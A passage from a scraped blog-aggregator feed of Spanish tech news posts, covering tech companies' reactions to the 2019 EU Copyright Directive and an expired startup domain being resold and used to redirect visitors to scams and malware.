𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. MozillaLa fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida. Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea. Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley. Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado: No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. TwitterOtra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter. Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio. "Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione". Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online. "Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE". GithubGithub, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente. EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj — GitHub Policy (@GitHubPolicy) 21 de marzo de 2019A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: "Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.". MenéamePasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo. ¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW — Daniel Seijo (@dseijo) 27 de marzo de 2019Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets. Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: "La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace". Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia. "Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa." Un punto que deja margen para la interpretación de lo que se considera "muy breve". ¿Y ahora qué?Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. También te recomendamosEstas son todas las muertes que habrías sufrido sin tecnología Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright - La noticia Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE fue publicada originalmente en Xataka por Enrique Pérez .      from Xataka https://ift.tt/2CI5g5B via IFTTT</text><languageCode>es</languageCode><locationCode>jp</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:ecdYMiMMAMM</link><link>https://www.ifttt.com/?ref=da&amp;site=blogger</link></links><tags><tag>IFTTT</tag><tag>Xataka</tag></tags><images /><indexedAt>2019-03-27T18:17:36Z</indexedAt><publishedAt>2019-03-27T18:09:00Z</publishedAt><reindexedAt>2019-03-27T18:17:36Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>13233062348494494458</blogId><blogName>MI DIARIO TECNO</blogName><blogUrl>http://midiariotec.blogspot.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>3007199597814419017</id><author>Adolfo</author><url>http://www.nomanches.com.mx/2019/03/el-inesperado-final-de-la-web-de-la.html</url><title>El inesperado final de la web de La Nevera Roja: reconvertida en página pirata por 800€</title><text>Los dominios de internet son un poco como la materia. Estos no se crean ni se destruyen, solo se transforman. Por mucho que hayas asociado una URL a una compañía o a una persona concreta, esa empresa puede desaparecer o ser absorvida, pero los caracteres que formaban el nombre de su web seguirán pululando unidos por la red hasta que alguien lo compre de nuevo para hacer con él lo que le dé la real gana, incluso convertirlo en una página pirata. Ese es el caso de la conocida 'startup' española La Nevera Roja, cuyo antiguo dominio ahora es usado para colar todo tipo de timos y 'malware'. Por si no lo recuerdas, esta 'startup' estuvo en boca de todos en el periodo entre 2016 y 2017 después de que sus dueños, dos emprendedores españoles, consiguieran vender el negocio a una empresa alemana por 80 millones. Solo un año después, este actor, Rocket Internet, tuvo que revenderla por solo 30 millones a su gran rival, Just Eat, y fue en ese momento cuando la marca desapareció. La empresa se quedó bajo el paraguas de la multinacional inglesa y su nombre se metió bajo la alfombra. Es más, si buscas ahora mismo 'La Nevera Roja' en Google verás que Just Eat aparece como primer resultado para que no quede ninguna duda.  La Nevera Roja: la muerte de un pelotazo... que acabó vendido por 'calderilla'C. OttoNació en 2010 con 20.000 euros, se vendió en 2015 por 80 millones y, apenas un año después, ha sido revendida por menos del 40%. Esta es la completa (y polémica) historia de La Nevera Roja.El problema es que en esa limpieza a conciencia se dejaron algún cabo suelto, en concreto la URL de la antigua compañía. Nadie se preocupó de renovar su licencia y acabó, como muchas otras, sin dueño. Hasta este 14 de marzo, cuando fue subastada en una de las grandes webs de subastas de dominios (sí, estas webs existen) y comprada por 850 dólares. ¿El comprador? Jane Dew, una cuenta con sede en las Islas Caimán. Imagen de la subasta en la que se vendió la web de La Nevera Roja.La cosa es que ese tal Jane Dew no es un usuario cualquiera que quiere aprovechar el tirón de la marca para conseguir lanzar un nuevo proyecto o uno de sus antiguos dueños que quiere recuperar un dominio que le ha traído muchas alegrías, sino que se trata de un, como los denomina Sergio de los Santos, especialista en ciberseguridad de ElevenPaths, "carroñero". Si buscas el historial de Jane Dew es muy sencillo ver que se trata de un usuario que compra sin parar todo tipo de dominios con una idea clara, llevar a todo el tráfico que generan a webs piratas. Todas repiten el mismo 'modus operandi'. Su contenido va rotando y pocas veces repiten un mismo resultado. Puede que si entras en 'laneveraroja.com', la primera vez acabes en una supuesta noticia sobre Amancio Ortega y las criptomonedas (es un timo del que ya hablamos en Teknautas) o a un supuesto convertidor de documentos word en PDF. Pero también puedes acabar en un extraño buscador o incluso es posible que no te aparezca nada. Supuesta noticia a la que te puede reenviar la web. Obviamente es un timoTambién te puede llevar a un extraño descuento de Groupon"Está claro que este dominio ha entrado en una maquinaria súper industrializada de webs piratas. Estas prácticas están súper controladas y preparadas y no es para nada algo 'amateur'. Geolocalizan al usuario y rotan el contenido constantemente. Al final es una idea más para aprovecharse de los resquicios de internet para sacar dinero", explica De los Santos en conversación con Teknautas. "Hay gente que incluso paga por saber en qué momento va a caducar la licencia por un buen dominio para poder hacerse con él y aprovechar su popularidad o para posicionar mejor en Google, es todo un negocio", apunta este experto. Solo hay que pasarse por páginas de subastas como la citada anteriormente para ver que los precios por un dominio pueden superar incluso los 3.000 dólares. Todos sabemos la importancia y del valor de un nombre de usuario en internet ya sea en Instagram, en Twitter o en una web. Las subastas más potentes de este miércolesEl negocio de los carroñeros Pero esto no pasa solo con dominios o URLs, sino que también se da en muchos otros entornos. Aquí ya destapamos el caso de las cuentas de Instagram que utilizan los nombres de marcas como Netflix para ganar usuarios para luego venderlas al mejor postor, y hay más. De los Santos recuerda una investigación que realizaron desde ElevenPaths y que descubrieron que incluso había piratas que aprovechaban los repositorios inactivos de GitHub para colar contenidos maliciosos y otra situación muy conocida se da con las extensiones de Chrome. "El que crea todos estos espacios no tiene tiempo o dinero para seguir manteniéndolos y acaba por venderlos a extrañas empresas que les dan una buena cantidad de dinero por tomar el control completo", apunta el experto.  Más de 500€ por un perfil de Instagram: El negocio tras las cuentas falsas de NetflixGuillermo CidVarios perfiles 'fakes' de Netflix aparecieron en la red social regalando supuestas suscripciones gratuitas. El objetivo, ganar muchos seguidores y venderlas al mejor postor.También ocurre con aplicaciones como las 'apps' Gremlin, que descubrió el conocido experto en ciberseguridad Chema Alonso en 2015. "Al final todos los casos siguen los mismos patrones. Los carroñeros encuentran un proyecto con bastante tráfico o muchos usuarios, pagan por ello al desarrollador y utilizan todo su potencial para colar 'malware', 'adware' y demás contenido malicioso. Eso sí, yo creo que en el caso de los dominios, para lo poco que cuesta mantenerlos, se merecen un final feliz. No le habría costado nada a la gente que tuvo La Nevera Roja poner un mensaje de despedida o redirigir su tráfico a Just Eat y habrían evitado ensuciar su marca", termina De los Santos.   PUBLICADO EN Tecnología https://ift.tt/2UZlSNl via IFTTT</text><languageCode>es</languageCode><locationCode>mx</locationCode><coordinates /><links><link>https://www.elconfidencial.com/tags/personajes/la-nevera-roja-16788</link><link>https://www.elconfidencial.com/tecnologia/2016-02-05/la-nevera-roja-la-muerte-de-un-pelotazo-que-acabo-vendido-por-calderilla_1138190</link><link>https://www.elconfidencial.com/tecnologia/2016-02-05/la-nevera-roja-la-muerte-de-un-pelotazo-que-acabo-vendido-por-calderilla_1138190</link><link>https://www.elconfidencial.com/tecnologia/2016-02-05/la-nevera-roja-la-muerte-de-un-pelotazo-que-acabo-vendido-por-calderilla_1138190</link><link>https://www.elconfidencial.com/tecnologia/2016-02-05/la-nevera-roja-la-muerte-de-un-pelotazo-que-acabo-vendido-por-calderilla_1138190</link><link>https://www.dropcatch.com/</link><link>https://www.twitter.com/ssantosv</link><link>https://www.elconfidencial.com/tecnologia/2019-01-15/tecnologia-espia-comisario-villarejo-actualidad_1757846</link><link>https://www.domainbigdata.com/nj/Ww6UT1VQHmYygwt0SEjX2Q</link><link>https://www.elconfidencial.com/tecnologia/2019-02-22/facebook-amancio-ortega-timo-anuncio-herencia_1842478</link><link>https://www.elconfidencial.com/tecnologia/2017-09-01/cuentas-falsas-instagram-netflix-negocio_1436668</link><link>https://blog.elevenpaths.com/2018/09/analizamos-infraestructura-malware-xbash.html</link><link>https://www.elconfidencial.com/tecnologia/2017-09-01/cuentas-falsas-instagram-netflix-negocio_1436668</link><link>https://www.elconfidencial.com/tecnologia/2017-09-01/cuentas-falsas-instagram-netflix-negocio_1436668</link><link>https://www.elconfidencial.com/tecnologia/2017-09-01/cuentas-falsas-instagram-netflix-negocio_1436668</link><link>http://www.elladodelmal.com/2015/02/descubrir-apps-gremlin-en-android-con.html</link><link>https://www.ifttt.com/?ref=da&amp;site=blogger</link></links><tags><tag>Tecnología</tag></tags><images /><indexedAt>2019-03-27T18:37:59Z</indexedAt><publishedAt>2019-03-27T18:09:00Z</publishedAt><reindexedAt>2019-03-27T18:37:59Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>10270809812728785007</blogId><blogName>¡NO MANCHES!</blogName><blogUrl>http://www.nomanches.com.mx</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>6483718904894764177</id><author>Tecnousuarios tv</author><url>http://tecnousuarioss.blogspot.com/2019/03/esta-ha-sido-la-reaccion-de-las-grandes.html</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá. Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, "convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva". A lo que concluye que "a todos los efectos es como si los subieran ellos personalmente". Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura. En XatakaSe aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?GoogleGoogle ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara". La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: "La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas". YoutubeYoutube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley. Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote ⬇️ pic.twitter.com/ETHEOYwr7w — YouTube Creators (@YTCreators) 26 de marzo de 2019Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. "Es el principio", apunta. WikipediaPara protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde "esperan ver repercusiones directas en todas las actividades online". You, the Internet user, have lost a huge battle today in Internet parliament. The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people. This is not about helping artists, it is about empowering monopolistic practices. — Jimmy Wales (@jimmy_wales) 26 de marzo de 2019Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables. Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las "seguras" desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción. Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público. Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. "Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años", explica Wikimedia. RedditReddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos. Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final. Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso. Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. MozillaLa fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida. Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea. Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley. Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado: No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. TwitterOtra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter. Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio. "Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione". Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online. "Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE". GithubGithub, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente. EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj — GitHub Policy (@GitHubPolicy) 21 de marzo de 2019A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: "Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.". MenéamePasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo. ¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW — Daniel Seijo (@dseijo) 27 de marzo de 2019Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets. Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: "La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace". Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia. "Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa." Un punto que deja margen para la interpretación de lo que se considera "muy breve". ¿Y ahora qué?Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. También te recomendamosSe aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright Estas son todas las muertes que habrías sufrido sin tecnología - La noticia Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE fue publicada originalmente en Xataka por Enrique Pérez .      Agradecemos a Enrique Pérez Fuente: http://bit.ly/2hGHn66</text><languageCode>es</languageCode><locationCode>es</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^